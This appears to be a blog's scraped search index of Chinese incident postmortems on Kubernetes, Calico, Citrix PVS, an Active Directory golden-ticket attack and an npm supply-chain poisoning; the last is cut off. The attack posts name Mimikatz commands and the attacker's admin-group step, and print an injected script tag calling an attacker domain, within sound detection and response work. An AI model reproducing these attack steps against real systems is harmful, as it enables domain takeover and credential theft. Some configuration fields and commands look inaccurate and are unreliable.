七、总结\r这是一次典型的\u0026quot;配置变更埋雷、需求触发引爆\u0026quot;的故障：证书轮换的一个疏漏，让 metrics-server 静默失明，进而让 HPA 在最需要扩容的晚高峰彻底失灵。排查的关键路径其实很短——从 TARGETS 的 \u0026lt;unknown\u0026gt; 一眼看出指标缺失，顺着 describe hpa → apiservices → metrics-server 日志三步就能锁定 x509 证书信任问题。\n真正值得记取的教训有两点：一是指标链路和监控链路一样是生产的一等公民，它一旦断裂，自动化能力（扩容、调度决策）就会静默降级，必须为它单独设哨兵；二是变更影响面要顺着依赖链推演到底，改一端证书，要问清楚\u0026quot;谁在校验这张证书\u0026quot;，否则埋下的雷只会在最不合适的时刻炸响。\n","date":"2026-07-22T07:00:00+08:00","permalink":"/posts/13f63d70/","title":"Kubernetes HPA 为何在流量高峰不再自动扩容？一次 metrics-server 指标链路中断的排查记录"},{"content":"一、问题背景\r某金融科技公司的 Kubernetes 生产集群原规划 120 个节点，CNI 采用 Calico + IPAM 模式，初始分配了 3 个 /16 的 Pod CIDR 池（共约 19.6 万地址）。随着业务扩容，节点数已接近 200，集群中运行着大量短生命周期的 Job 与 CronJob。某天凌晨开始，发布流水线频繁失败，报错均为「CNI failed to allocate IP: no IP addresses available in pool」。调度器显示 Pod 处于 ContainerCreating，事件日志里反复出现 failed to allocate for range 0: no IP addresses available in range set。\n二、故障现象\r新增 Pod 大量卡在 ContainerCreating，kubectl describe 事件显示 Failed create pod sandbox: rpc error: code = Unknown desc = failed to setup network for sandbox ... no IP addresses available。 已有 Running 的 Pod 网络正常，说明问题仅影响「新分配 IP」的请求。 calicoctl get ippool 显示所有池的 blockSize 仍为默认 /26，但 calicoctl get block 列出已分配的 IP 块数量远超预期，部分节点出现「借用其他节点 block」的现象。 calicoctl get ipam show 报告「Total IPs: 196608，Allocated: 196607，Unallocated: 1」，几乎耗尽。 新节点加入集群后，kubelet 日志出现 cni.go:237] error adding container to network: failed to allocate for range 0，节点整体 NotReady。 三、排查过程\r第一步：确认 CNI 插件状态。kubectl get pods -n kube-system -l k8s-app=calico-node 显示所有 calico-node Pod 均 Running，calicoctl node status 也正常，排除插件本身 crash。\n第二步：检查 IPAM 配置。calicoctl get ippool -o yaml 发现默认池配置了 ipipMode: Always、natOutgoing: true，但关键字段 allowedUses: [\u0026quot;Workload\u0026quot;,\u0026quot;Tunnel\u0026quot;] 正常。最可疑的是 blockSize: 26（默认 64 地址/块），而集群规模已从 120 节点涨到 200 节点，理论上需要更多 block。\n第三步：查看 IP 分配详情。用 calicoctl get block --output wide 发现大量 block 被「借用」——一个节点的 IP 块被其他节点上的 Pod 占用。Calico 的 IPAM 默认会尽量把同一节点的 Pod 分配到同一 block 以减少路由表膨胀，但当池即将耗尽时，会跨节点借用，导致 block 碎片化。\n第四步：定位自动扩容上限。Calico 支持 IP 池自动扩容（strictAffinity: false + autoAllocateBlocks: true），但在 IPPool CRD 中发现：\n1 2 3 4 5 6 spec: cidr: 10.244.0.0/16 blockSize: 26 ipipMode: Always natOutgoing: true disabled: false 缺少 maxBlocksPerHost 限制，且 allowedUses 只包含 Workload/Tunnel，没有为「新节点自动分配 block」预留空间。更致命的是，集群升级时曾手动把 blockSize 从默认 26 改成 28（16 地址/块）以节省地址，却忘记同步更新 ippool 的 cidr 范围，导致实际可用地址比规划少 75%。\n第五步：确认碎片与借用风暴。当池中仅剩 1 个地址时，任何新 Pod 都必须「从已有 block 里再挤」，但因为 strictAffinity 为 false，分配器会尝试在全集群范围内找可用 block，造成大量「跨节点借用」请求。calico-node 的 felix 组件在处理这些借用请求时出现延迟，进一步放大分配失败率。\n四、解决方案\r立即止血：\n紧急扩容 IP 池：新增一个 /16 的新池，blockSize 设为 26，并设置 allowedUses: [\u0026quot;Workload\u0026quot;]。 1 2 3 4 5 6 7 8 9 10 11 12 13 calicoctl apply -f - \u0026lt;\u0026lt;EOF apiVersion: projectcalico.org/v3 kind: IPPool metadata: name: pool-prod-v2 spec: cidr: 10.245.0.0/16 blockSize: 26 ipipMode: Always natOutgoing: true disabled: false allowedUses: [\u0026#34;Workload\u0026#34;] EOF 对已分配 IP 的 Pod 不做处理，仅让新 Pod 落在新池。Calico 的分配器会优先使用未禁用的池，因此新 Pod 立即能拿到 IP。 对已处于 ContainerCreating 的 Pod 执行 kubectl delete pod xxx --grace-period=0 --force，让它们重新调度到新池。 根治：\n把默认池的 blockSize 改回 26（16→64 地址），并开启 strictAffinity: true 减少跨节点借用。 设置 maxBlocksPerHost: 8，限制单节点最多借用 8 个 block，避免单点耗尽过多地址。 在集群规模规划阶段即预留 2~3 个 /16 池，并设置告警：当池利用率 \u0026gt; 70% 时自动扩容或告警。 升级 Calico 版本到 v3.26+，利用其「IP 池自动扩容」特性（autoAllocateBlocks: true + autoCreateBlocks: true）。 五、根因分析\rCalico IPAM 的核心设计是「按需分配 block」，默认 blockSize=/26 意味着每 64 个 Pod 地址占用一个路由条目。当节点数从 120 涨到 200，且业务以短生命周期 Job 为主时，Pod 创建/销毁频率极高，block 分配/释放操作频繁。若池大小规划不足（仅 19.6 万地址对应 3000 Pod 左右），加上 blockSize 曾被误改小，实际可用地址进一步缩水，最终在凌晨高频 Job 集中创建时耗尽。\n六、预防措施\r容量规划：节点数 ×（平均 Pod/节点）× 1.5（冗余）作为 IP 池大小，并预留 2~3 个独立池做滚动扩容。 监控告警：在 Prometheus 中增加 calico_ipam_blocks_total / calico_ipam_allocations_total 指标，当利用率 \u0026gt; 70% 立即告警。 配置收敛：禁止随意修改 blockSize，统一使用 26；设置 maxBlocksPerHost 防止单点借用过多。 自动扩容演练：定期在 staging 环境演练「池耗尽 → 新增池 → Pod 自动落新池」的全流程，确保生产环境不会翻车。 七、总结\rCNI 的 IP 池耗尽是「规模化集群的隐形杀手」——它不影响已有 Pod，只在「新增 Pod」时才暴露，且往往在凌晨高频任务集中爆发。防御的关键是「规划时多留一倍地址 + 监控利用率 + 限制单节点 block 借用」，把 IPAM 当成「另一种形式的资源配额」来治理。\n","date":"2026-07-21T19:00:00+08:00","permalink":"/posts/1908b3a5/","title":"一次 Kubernetes CNI 插件 IP 池耗尽导致新增 Pod 无法分配 IP 的排查记录"},{"content":"一、问题背景\r公司核心业务域（域控为 Windows Server 2019）近期做了一次例行补丁更新与域控密码重置。更新后几天，安全团队在 SOC 平台收到多起「本地管理员组被异常添加账户」的告警。进一步排查发现，办公网中多台 Windows 10 / Server 2016 机器均出现同一陌生域账户（svc_backup）被加入本地 Administrators 组，且该账户来自域内而非本地 SAM。攻击者已获得对多台服务器的持久化本地提权能力，但常规的「钓鱼邮件、弱口令 RDP、横向移动工具」痕迹全部缺失。\n二、故障现象\r现场呈现经典的「域内横向提权后遗症」：\n多台服务器本地 Administrators 组被统一加入 svc_backup 域账户，登录日志显示该账户成功 RDP/WinRM 访问但无密码喷射记录。 域控事件日志（Security.evtx）里「Kerberos 预认证失败」「NTLM 认证成功」类 4624/4768/4769 事件数量异常稀少，且时间分布集中在凌晨 03:17~03:29。 域控 C:\\Windows\\System32\\config 下的 SYSTEM / SECURITY hive 文件存在 3 分钟的「被打开后立即关闭」操作痕迹，但无对应进程名写入日志。 域内任意一台已沦陷机器执行 whoami /priv 均显示 SeDebugPrivilege 已启用，klist 命令可列出一个 krbtgt 的 TGT 票据，EndTime 为 10 年后。 攻击者并未修改域控 krbtgt 账户密码（常规黄金票据检测中会重点关注），只是把票据缓存到了多台跳板机的内存中，形成「一次伪造、永久横向」的效果。 三、排查过程\r第一步：确认攻击入口不是弱口令/钓鱼。通过 Exchange 日志、终端 EDR 邮件附件扫描、防火墙出网记录，均未发现可疑邮件或 C2 外联。排除常规社会工程学入口，问题必然出在域协议层面。\n第二步：检查黄金票据特征。黄金票据（Golden Ticket）是攻击者用域控 krbtgt 哈希伪造任意用户的 TGT（Ticket Granting Ticket），从而获得域内任意资源的访问权。特征有三：\nTGT 的 EndTime 通常被攻击者设置为极远未来（默认 10 年）。 TGT 的 RenewTill 字段也会被拉长。 票据的 Domain SID 与真实域 SID 一致，但 krbtgt 版本号（Ticket 里的 EncTicketPart）与域控当前 krbtgt 密码版本号不匹配。 在多台受感染机器上执行 klist 确实看到：\n1 2 3 4 5 6 7 #0\u0026gt; Client: svc_backup @ CORP.LOCAL Server: krbtgt/CORP.LOCAL @ CORP.LOCAL KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96 Start Time: 7/20/2026 3:17:12 (local) End Time: 7/20/2036 3:17:12 (local) \u0026lt;--- 10 年 Renew Till: 7/20/2036 3:17:12 (local) Flags: forwardable, renewable, initial, pre_authent, name_canonicalize 这几乎是黄金票据的「招牌」。\n第三步：内存取证定位 krbtgt 哈希泄露点。黄金票据的前提是攻击者已拿到 krbtgt 账户的 NTLM/AES 哈希。最常见途径是域控内存转储（Mimikatz lsadump::lsa /patch 或 sekurlsa::tickets）。通过 EDR 历史进程快照，发现 7 月 18 日凌晨 02:11 域控曾被一个 powershell.exe -nop -w hidden 进程执行过 Invoke-Mimikatz，且该进程父进程为 services.exe（计划任务触发）。攻击者通过计划任务在域控上执行内存取证，拿到 krbtgt 哈希后立即清除了任务与日志，仅在内存中留下了 TGT。\n第四步：横向移动路径还原。攻击者拿到哈希后，在自己的跳板机上用 mimikatz 的 kerberos::golden 模块生成了 svc_backup 的 TGT，并把该 TGT 注入多台服务器的内存。随后用 PsExec / WinRM 横向，执行 net localgroup administrators /add CORP\\svc_backup 完成持久化本地提权。整个过程不产生「密码错误」「Kerberos 预认证失败」类事件，因此常规「暴力破解检测」完全失效。\n四、解决方案\r立即止血（切断攻击者现有 TGT）：\n在所有受感染机器上执行 klist purge，清除内存中可疑 TGT。 强制让 svc_backup 账户密码过期，并从本地 Administrators 组移除： 1 net localgroup administrators CORP\\svc_backup /delete 在域控上将 krbtgt 账户密码连续重置两次（第一次重置后等待 krbtgt 密码复制完成，再重置第二次）。这是微软官方推荐的「杀死所有基于旧 krbtgt 哈希的黄金票据」的标准操作： 1 2 3 4 5 # 第一次重置 Reset-KrbtgtPassword -Force Start-Sleep -Seconds 600 # 等待复制 # 第二次重置 Reset-KrbtgtPassword -Force 重置后，所有基于旧哈希生成的 TGT 立即失效。 根除攻击面：\n域控上部署 LSA 保护（RunAsPPL=1），禁止 Mimikatz 等工具从 LSASS 读取凭据。 启用 Windows Defender Credential Guard，防止内存中 Kerberos 票据被窃取。 限制域控登录权限：仅允许特定跳板机 RDP/WinRM 到域控，普通管理员工作站禁止直接访问域控 3389/5985 端口。 部署 EDR 规则：检测 powershell.exe 调用 mimikatz / sekurlsa 字符串、检测 klist 输出中 EndTime 超过 365 天的 TGT。 长期加固：\n建立「域控密码定期轮换 + 双次重置」制度，每 180 天执行一次 krbtgt 密码双重置。 对 Protected Users 组内的特权账户启用 Authentication Policy \u0026amp; Silo，限制其只能从特定设备登录、只能使用特定认证协议。 在 SIEM 中增加黄金票据检测规则：klist 输出中 EndTime - StartTime \u0026gt; 365 days 且 Server = krbtgt/* 的告警。 五、根因分析\r黄金票据的本质是「Kerberos 协议信任链的单点故障」：域内所有服务的信任锚点都是 krbtgt 账户的哈希。只要攻击者拿到该哈希，即可伪造任意用户的 TGT，获得域内上帝权限。传统「改密码就能挡住攻击者」的思路在这里完全失效——因为 TGT 可以在攻击者自己的机器上长期缓存，且不依赖域控上的账户状态。事件中攻击者仅在域控内存中「拿一次」，就实现了「横向到全域」的效果。\n六、预防措施\r内存保护：域控必须启用 LSA 保护 + Credential Guard，禁止普通管理员在域控上运行 Mimikatz 类工具。 登录收敛：域控仅允许极少数堡垒机登录，普通终端禁止直接 RDP/WinRM 到域控。 票据生命周期监控：SIEM 规则检测 TGT EndTime 异常远期、检测 klist 输出中 krbtgt 票据的 RenewTill 字段。 krbtgt 定期双重置：每 180 天执行两次连续密码重置，杀死所有旧票据。 异常提权检测：对「本地 Administrators 组被域账户异常添加」事件进行实时告警，并关联「是否来自计划任务/PowerShell 隐藏窗口」上下文。 七、总结\r黄金票据是 AD 域内最隐蔽也最致命的持久化手法之一——它不产生密码错误、不留下登录日志、不需要反复横向，只需要一次内存取证就能「一劳永逸」。防御的关键在于「不让攻击者拿到 krbtgt 哈希」（LSA 保护 + 登录收敛），以及「即使拿到哈希也能快速杀死所有旧票据」（krbtgt 双重置 + 票据生命周期监控）。把这三件事做到位，黄金票据就失去了生存土壤。\n","date":"2026-07-21T18:00:00+08:00","permalink":"/posts/75336643/","title":"记一次 AD 域中黄金票据攻击导致域控权限持久化的检测与清除"},{"content":"一、问题背景\r交易系统的核心 API 服务以 Deployment 形式跑在 Kubernetes 集群上，平时靠滚动更新（rolling update）发版，预期旧 Pod 在 30 秒优雅退出窗口内 shutdown、新 Pod 接管流量。某次例行发布（v2.3.1）触发滚动更新后，监控却开始报警：部分接口 5xx 比例陡增、响应超时。我们登陆集群一看，发现旧版本的 Pod 并没有按预期被清掉，而是大量堆积在 Terminating 状态，且 AGE 已经显示几十分钟，远超正常的 30 秒。节点资源被这些\u0026quot;死而不僵\u0026quot;的 Pod 占着，新 Pod 调度拥挤、部分直接 Pending，发布流水线也卡在\u0026quot;等待旧副本退出\u0026quot;。\n二、故障现象\r现场表现非常反直觉：\nkubectl get pods 显示约 20 个旧 Pod 状态为 Terminating，AGE 高达 40 分钟以上，普通 kubectl delete pod xxx 没有任何反应。 kubectl describe pod 能看到 deletionTimestamp 已经设置，但 Events 最后一条基本是空或者停留在 \u0026ldquo;Killing\u0026rdquo; 之前，说明 APIServer 已经标记删除，Pod 对象却迟迟没被真正移除。 登上对应节点用 crictl ps / docker ps 查看，这些\u0026quot;Terminating\u0026quot;的容器进程其实还活着，端口也仍在监听——它们是\u0026quot;僵尸\u0026quot;，不是\u0026quot;已退出\u0026quot;。 新 Pod 大量 Pending：调度器认为节点资源已被占用（Terminating 的 Pod 依然计入 requests），有油却加不进新车。 线上出现诡异 5xx：这些旧容器进程明明还活着、端口还监听，但流量已经进不来——因为 Endpoint 控制器早把它们的 IP 从 Service 的 Endpoints 里摘掉了。于是造成\u0026quot;进程活着、服务已下线\u0026quot;的真空窗口，请求被导向尚未就绪的新 Pod 或干脆无可用后端。 三、排查过程\r第一步，先确认 Pod 是不是真的进了删除态。kubectl get pod \u0026lt;p\u0026gt; -o jsonpath='{.metadata.deletionTimestamp}' 有值、{.metadata.deletionGracePeriodSeconds} 也有值，说明对象确实处于\u0026quot;标记删除但等待完成\u0026quot;阶段——Terminating 不等于\u0026quot;正在删\u0026quot;，而是\u0026quot;删不动\u0026quot;。\n第二步，区分两类卡死：节点失联型 vs 节点健康型。先 kubectl get node 确认节点都是 Ready，节点上的 kubelet 正常工作，排除\u0026quot;kubelet 失联、apiserver 标记删除却没人在节点侧执行\u0026quot;的情况。既然节点健康，问题一定出在\u0026quot;节点侧删不掉\u0026quot;或\u0026quot;对象删除被门闩卡住\u0026quot;。\n第三步，查 finalizer。kubectl get pod \u0026lt;p\u0026gt; -o jsonpath='{.metadata.finalizers}' 暴露了端倪：这批 Pod 上挂着团队自研控制器写入的自定义 finalizer（如 example.com/cleanup）。该 finalizer 约定由控制器在清理完外部资源后摘除，但当时控制器因上游依赖故障未能完成 reconcile，finalizer 永不清除——而 K8s 的删除语义规定：只要还有 finalizer 未清空，对象就永远停在 Terminating。这正是\u0026quot;删不动\u0026quot;的第一类根因。\n第四步，查 preStop。即便没有 finalizer，仍有大量 Pod 卡着，于是对照 Pod spec 发现 lifecycle.preStop 里 exec 了一段脚本，脚本用 sleep 60 来\u0026quot;等待上游连接优雅排空\u0026quot;。但 Pod 的 terminationGracePeriodSeconds 只有 30 秒。这里有个常被忽略的时序：K8s 删除一个 Pod 时，先发 SIGTERM，然后执行 preStop，且 preStop 的耗时算在 grace period 之内，preStop 完成后才发 SIGKILL。也就是说，30 秒的窗口要先被 preStop 的 60 秒 sleep 吃掉，preStop 永远跑不完，SIGKILL 永远不会发出，容器进程就这么挂着——这是\u0026quot;删不动\u0026quot;的第二类根因，也是现场最致命的一条。\n第五步，交叉验证流量真空。kubectl get endpoints \u0026lt;svc\u0026gt; 确认旧 Pod IP 已从 Endpoints 摘掉，解释了为何进程活着却 5xx：它们已被 Service 层逻辑\u0026quot;除名\u0026quot;，新请求不会再来，而新 Pod 又因为节点资源被僵尸占着起不来，形成发布中断的死锁。\n四、解决方案\r止血不能无脑 kubectl delete --force --grace-period=0。强制删除会绕过优雅退出与 finalizer 流程，对有状态卷/有外部资源绑定的 Pod 可能留下孤儿资源，且节点侧容器可能清理不干净。正确做法是分情况处理：\nfinalizer 残留、控制器已无法恢复：安全摘除 finalizer，让对象立即进入\u0026quot;可被真正删除\u0026quot;状态，kubelet 随即执行容器停止： kubectl patch pod \u0026lt;p\u0026gt; -p '{\u0026quot;metadata\u0026quot;:{\u0026quot;finalizers\u0026quot;:[]}}' --type=merge 对多个 Pod 可批量 kubectl get pods --field-selector=status.phase=Running | grep Terminating 后循环 patch。 preStop 死等：对已处于删除态的 Pod 无法再改 grace period。稳妥做法是先同样 patch 摘除 finalizer 跳过 preStop 阶段强制退出，同时修复镜像里的 preStop 脚本（去掉长 sleep、改为只做信号转发/快速关闭监听），再重新滚动发版。 清理完僵尸后，确认 kubectl get pods 无残留 Terminating，新 Pod 正常 Running 并重新加入 Endpoints，5xx 与 Pending 随即消失。 五、根因分析\r本质是对 Pod 删除语义的理解偏差：设置了 deletionTimestamp 不等于立即删除，也不等于 30 秒后一定删除。一个 Pod 真正从集群消失，必须同时满足两个条件——（1）所有 finalizers 被清空；（2）节点侧 kubelet 停掉全部容器，而停止容器又要求 preStop 在 terminationGracePeriodSeconds 内完成、之后 SIGKILL 兜底。这两道\u0026quot;门闩\u0026quot;任一卡住，对象就永久停在 Terminating。其中 preStop 耗时计入 grace period 这一细节最易被忽视：很多人以为 SIGTERM 之后还有整整 30 秒，实际上这 30 秒要先被 preStop 占用。\n六、预防措施\rpreStop 只做轻量操作：转发 SIGTERM、关闭监听端口、flush 日志，绝不 sleep 或等待外部依赖。如确有等待诉求，时长必须明显小于 terminationGracePeriodSeconds，并预留 SIGKILL 缓冲（建议 grace ≥ preStop 预估耗时 + 5s）。 finalizer 必须有控制器兜底：reconcile 逻辑要保证在异常/退出路径上也能清理 finalizer；给控制器加存活探针、健康监控与崩溃告警，避免\u0026quot;写 finalizer 的控制器自己先挂了\u0026quot;。 合理设置优雅退出窗口：默认 30s 不够长关闭的业务适当上调，但别无脑拉满——窗口越长，卡死时僵尸存活越久。 补齐监控：对持续 Terminating 超过 1 分钟的 Pod 告警；节点 NotReady 告警；控制器 Pod 状态告警；发布流水线在滚动后检查 Terminating 残留再判定成功。 发布规范：滚动更新显式配置 maxUnavailable / maxSurge，避免一次性驱逐过多副本放大影响面。 七、总结\rTerminating 不是\u0026quot;正在删除\u0026quot;，而是\u0026quot;删除被卡住\u0026quot;。定位时先看两点：一是 finalizer 是否残留、控制器是否还活着；二是节点是否健康、preStop 是否超时吞噬了优雅窗口。止血优先用 patch 安全摘除 finalizer 让僵尸退场，根治则落在镜像里的 preStop 设计（轻量、不等待）与控制器对 finalizer 的兜底清理上。把删除语义吃透，发布才不会在\u0026quot;旧副本退不掉、新副本起不来\u0026quot;的死锁里翻车。\n","date":"2026-07-21T07:00:00+08:00","permalink":"/posts/97876a5b/","title":"一次 Kubernetes Pod 长期卡在 Terminating 状态的排查记录"},{"content":"一、问题背景\r我们生产环境的虚拟桌面（Citrix Virtual Apps and Desktops，约 1200 台 Target Device）全部通过 PVS（Provisioning Services）以单一 vDisk 流式启动，而非传统 MCS 完整克隆。PVS 的好处是\u0026quot;黄金镜像一处更新、全网生效\u0026quot;，运维侧只用维护一个 vDisk 的版本链（versioning）：每次变更基于上一个 version 派生新 version，在维护设备（Maintenance Device）上改完、测试通过后 promote 为 Production。\n7 月中旬的月度维护窗口，我按惯例对生产 vDisk 派生了一个新 version（v17），挂到维护设备装了 Windows 当月累积补丁，并顺手把虚拟显卡驱动从旧版升到厂商最新版（为修一个偶发的显示闪烁）。维护设备上启动、登录、跑业务自测都正常，于是我在 PVS 控制台把 v17 promote 为 Production（高可用 + 负载均衡），准备第二天上班高峰让所有 Target Device 平滑切到新镜像。\n二、故障现象\r第二天 8:40 左右，上班登录高峰刚起，服务台电话被打爆：约 1/3 的虚拟桌面无法进入系统。具体表现分两类：\n一部分 Target Device 在 Windows 启动画面后直接蓝屏，最常见的 STOP code 是 0x0000007E (SYSTEM_THREAD_EXCEPTION_NOT_HANDLED)，也有少量 0x000000D1 (DRIVER_IRQL_NOT_LESS_OR_EQUAL)；重启后依旧，陷入\u0026quot;启动→蓝屏→重启\u0026quot;循环。 另一部分卡在 \u0026ldquo;Starting Windows\u0026rdquo; 或 Citrix 登录前界面反复重启，PVS 控制台里这些设备状态在 Active 与 Unknown 之间跳变，Boot 次数异常偏高。 诡异的是：并非全部桌面都崩，同型号瘦客户机、连在同一批 XenServer 主机上的设备几乎必崩，而另一批 ESXi 主机上的设备基本正常。这立刻排除了\u0026quot;PVS 服务器挂了\u0026quot;这种整体故障，把方向指向\u0026quot;镜像内容与特定宿主环境不兼容\u0026quot;。\n三、排查过程\r第一步，圈定影响边界。 在 PVS 控制台按 Target Device 状态排序，发现崩溃集中在两类硬件 profile：一是新采购、跑在 XenServer 8.4 上的设备；二是启用了 vGPU（虚拟显卡）的设备。纯 ESXi 标准 SVGA、无 vGPU 的设备几乎不受影响。说明是新 version 引入的某组件，只在某些虚拟硬件组合下触发异常。\n第二步，抓蓝屏根因。 对一台反复蓝屏的设备，让它在本地缓存模式（Cache on Device / Private Image）下启动并保留 minidump，把 MEMORY.DMP 拷出来用 WinDbg 跑 !analyze -v。0x0000007E 的异常线程指向第三方显示驱动 vgfxm64.sys（厂商虚拟显卡驱动），0x000000D1 则指向同一驱动的 IRQL 越界访问。基本锁定：升级后的虚拟显卡驱动与部分宿主的虚拟显卡设备（XenServer 的 Citrix SVGAA / vGPU 后端）交互时触发未处理异常。\n第三步，比对 version 差异。 PVS 的 versioning 天然支持差异对比：v17 相对 v16（上一稳定版）只多了两件事——当月 Windows 补丁，以及那次显卡驱动升级。维护设备上\u0026quot;自测通过\u0026quot;是因为它跑在 ESXi + 标准 SVGA、没挂 vGPU，没覆盖到生产里异构的宿主组合。\n第四步，确认触发面与影响面。 用 PVS 启动日志（Target Device 的 bnistack 日志）和 XenCenter 的事件流交叉验证：崩溃设备的 boot 阶段都停在与显卡驱动初始化相关的环节；受影响占比约 32%，且随高峰到来有扩大趋势（更多设备被调度到问题宿主）。\n四、解决方案\r分钟级止血——版本回滚。 PVS 的杀手锏就是 versioning 回退：在控制台选中生产 vDisk，把 Production 版本的\u0026quot;默认启动 version\u0026quot;从 v17 改回 v16，访问模式（Access Mode）保持 Production。Target Device 下一次启动（或手动重启）即改从 v16 流式引导，无需重装、无需逐台处理——约 12 分钟内，崩溃设备陆续恢复登录，业务影响止住。对个别仍卡死的设备，直接在设备级别覆盖指定 version 为 v16 强制纠偏。\n小时级根治——重做版本。 把 v17 从 Production 降级为 Test，回到维护设备：①卸载那版有问题的虚拟显卡驱动、回退到与 v16 一致的稳定版；②仅保留必要的 Windows 补丁；③在维护设备上分别用\u0026quot;ESXi 标准 SVGA\u0026quot;和\u0026quot;XenServer + vGPU\u0026quot;两种 profile 各测一轮启动与登录；④确认无蓝屏后，派生 v18 重新 promote。\n五、根因分析\r根因是 PVS\u0026quot;单镜像、全网生效\u0026quot;的架构特性被一次覆盖不全的测试放大成故障：\nvDisk 内装的驱动必须适配所有 Target Device 的硬件 profile，而本次新显卡驱动在与部分宿主的虚拟显卡后端（SVGAA / vGPU）交互时存在未处理异常； 变更前只在单一维护设备（ESXi + 标准 SVGA、无 vGPU）上自测，没覆盖生产环境的宿主异构性，相当于把\u0026quot;灰度验证\u0026quot;省略了； promote 时直接切 Production、且未保留\u0026quot;出问题能秒回\u0026quot;的默认 version 指向——好在 versioning 本身支持回退，否则只能逐台重装，恢复时间会从分钟级变成小时级。 本质是：PVS 把\u0026quot;镜像变更\u0026quot;变成了\u0026quot;对全网的广播\u0026quot;，广播前的测试与回滚预案不再是可选项，而是刚需。\n六、预防措施\r强制灰度链路：维护设备自测 → 测试交付组（含 ESXi / XenServer / 有 vGPU 三类 profile）灰度 → 再 promote 生产；禁止\u0026quot;维护设备过了就上生产\u0026quot;。 版本保留策略：Production vDisk 至少保留近 2 个稳定 version，确保任何新 version 出问题时能一键回退；变更前把\u0026quot;默认 version\u0026quot;先指向旧版作为安全网。 驱动统一管理：生产 vDisk 内只放经过验证的单一虚拟显卡驱动版本，禁止跨宿主混用多厂商驱动；驱动升级单独成 version，不与系统补丁打包，缩小变更面。 启动健康监控：对 Target Device 的 boot 失败率、重启风暴、蓝屏事件做告警（PVS 启动日志 + 主机事件联动），高峰前巡检一遍各宿主的启动成功率基线。 变更窗口与预案：镜像 promote 放在低峰时段，变更单里强制填写回滚步骤（改默认 version 指向）与预计恢复时间，运维照单执行。 七、总结\rPVS 的版本化（versioning）是把双刃剑：它让\u0026quot;全网镜像更新\u0026quot;从逐台重装变成一次 promote，也把\u0026quot;一次失误\u0026quot;变成\u0026quot;全网广播\u0026quot;。这次事故能分钟级恢复，靠的不是运气，而是 versioning 提供的回退能力——但真正该吸取的教训在前面：广播之前的异构灰度测试，和随时能回退的版本保留，是 VDI 运维不可省略的两道防线。\n一句话记住：对 PVS 镜像，\u0026ldquo;先在小范围试错、留好旧版本退路\u0026rdquo;，比\u0026quot;上线后才救火\u0026quot;便宜得多。\n","date":"2026-07-20T07:00:00+08:00","permalink":"/posts/4b5dd03a/","title":"Citrix PVS 镜像升级后虚拟桌面为何批量蓝屏？一次 vDisk 版本回滚的排查实录"},{"content":"一、问题背景\r我们前端项目用 npm 管理依赖，发布走一条 GitLab CI 流水线：npm install → webpack build → 产物推 CDN。团队一直以为\u0026quot;依赖是开源社区维护的、可信\u0026quot;，CI 节点直连公网 npm 源，没有私有代理，也没有锁死间接依赖的硬性约束——package-lock.json 虽在，但合并冲突时常被简单\u0026quot;解决\u0026quot;掉，npm install 时仍允许解析浮动。\n某天上午，安全组在例行文件完整性扫描（FIM）里发现，CDN 上几个静态 HTML 入口文件尾部多出了一段不属于我们的外联脚本；与此同时，EDR 在构建节点上抓到一票发往陌生公网 IP 的 HTTPS 出站连接。两条线索指向同一处：构建流水线本身被\u0026quot;污染\u0026quot;了。\n二、故障现象\r最直观的告警来自 CDN 侧。安全扫描比对线上页面与源码仓库，发现生产 HTML 末尾被插入了一行：\n1 \u0026lt;script src=\u0026#34;https://cdn-metric-tech[.]top/analytics.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 源码仓库里没有这段，说明注入发生在\u0026quot;源码 → 产物\u0026quot;之间，也就是 CI 的 install 或 build 阶段。更可疑的是，EDR 在同一构建节点上多次捕获到进程向 cdn-metric-tech[.]top 及一个 C2 域名发起 HTTPS 连接，伴随 npm 进程退出后的短暂 CPU 抖动。\n我们第一时间怀疑源码仓库被改，但 git log 干净；又怀疑构建节点本身中马（像之前的 cron 后门），于是重装了构建机镜像，结果下一轮 npm install 后，后门又出现了。这基本排除了\u0026quot;节点被持久化\u0026quot;，把嫌疑锁死在\u0026quot;每次 install 都会触发的某个东西\u0026quot;——也就是依赖本身。\n三、排查过程\r第一步，从产物差异反推注入点。 用干净的源码重新跑 webpack build（跳过 install，复用已缓存的 node_modules），产物里没有那段外联脚本；但只要重新 npm install，再 build，后门就回来。于是确定：注入不在 webpack，而在 install 阶段被某个依赖的 postinstall/preinstall 生命周期脚本完成。\n第二步，盯 install 日志。 重新 install 时加 --verbose，注意到一条不寻常的输出：\n1 2 \u0026gt; malformed-utils@1.2.4 preinstall /build/node_modules/malformed-utils \u0026gt; node preinstall.js malformed-utils 这个名字眼生——我们项目里用的是 lodash、dayjs 这类，从没直接依赖过它。去 package-lock.json 里一查，它是某业务组件库的间接依赖，而且版本是 1.2.4，而 npm 上同名的\u0026quot;正常\u0026quot;版本停在 1.1.0。版本号反常地高，且发布时间就在出事前两天——典型的 typosquatting（抢注形近包名）+ 高版本抢优先解析。\n第三步，解剖恶意包。 把 tarball 拉下来解包：\n1 2 3 npm pack malformed-utils@1.2.4 tar -xzf malformed-utils-1.2.4.tgz cat package/package.json # 看到 \u0026#34;preinstall\u0026#34;: \u0026#34;node preinstall.js\u0026#34; preinstall.js 是混淆后的代码，反混淆后逻辑清晰：\n读取环境变量与 .npmrc，收集 CI_TOKEN、NPM_TOKEN、GITLAB_TOKEN 等敏感凭据； 把凭据 POST 到 C2（cdn-metric-tech[.]top/api/collect）； 找到构建输出目录（通过 process.env.OUTPUT_DIR 或遍历 dist/），在 HTML/入口 JS 里注入外联脚本，实现\u0026quot;产物后门\u0026quot;； 完成后自我清理临时文件，降低痕迹。 第四步，还原影响面。 确认该恶意包是在一次依赖升级（某组件库小版本更新，其间接依赖树把 malformed-utils 拉了进来）时被引入；CI 节点因为 npm install 允许间接依赖解析浮动，直接装到了投毒的高版本。已泄露的包括构建机上的 NPM token 和 GitLab CI token——攻击者理论上能用它们发版、读仓库。\n第五步，固定证据。 保存了恶意 tarball、被注入产物的 diff、EDR 出站连接日志、C2 域名，作为后续复盘与威胁情报上报材料。\n四、解决方案\r分钟级止血：\n立即在 npm / GitLab 后台吊销所有 CI token、NPM token，让泄露凭据失效； 隔离当前构建节点，从受信基线镜像重建，清除内存里残留的进程与可疑文件； 在 CI 里临时把安装源切到私有缓存（不含该包的旧快照），先恢复日常发布能力。 小时级清除：\n从 package.json 与 package-lock.json 中彻底移除 malformed-utils，重写 lockfile，强制用 npm ci（严格按 lock 安装、禁止版本浮动）； 全量重新发布 CDN 资源——用干净源码重新 build，覆盖掉被注入外联脚本的线上文件； 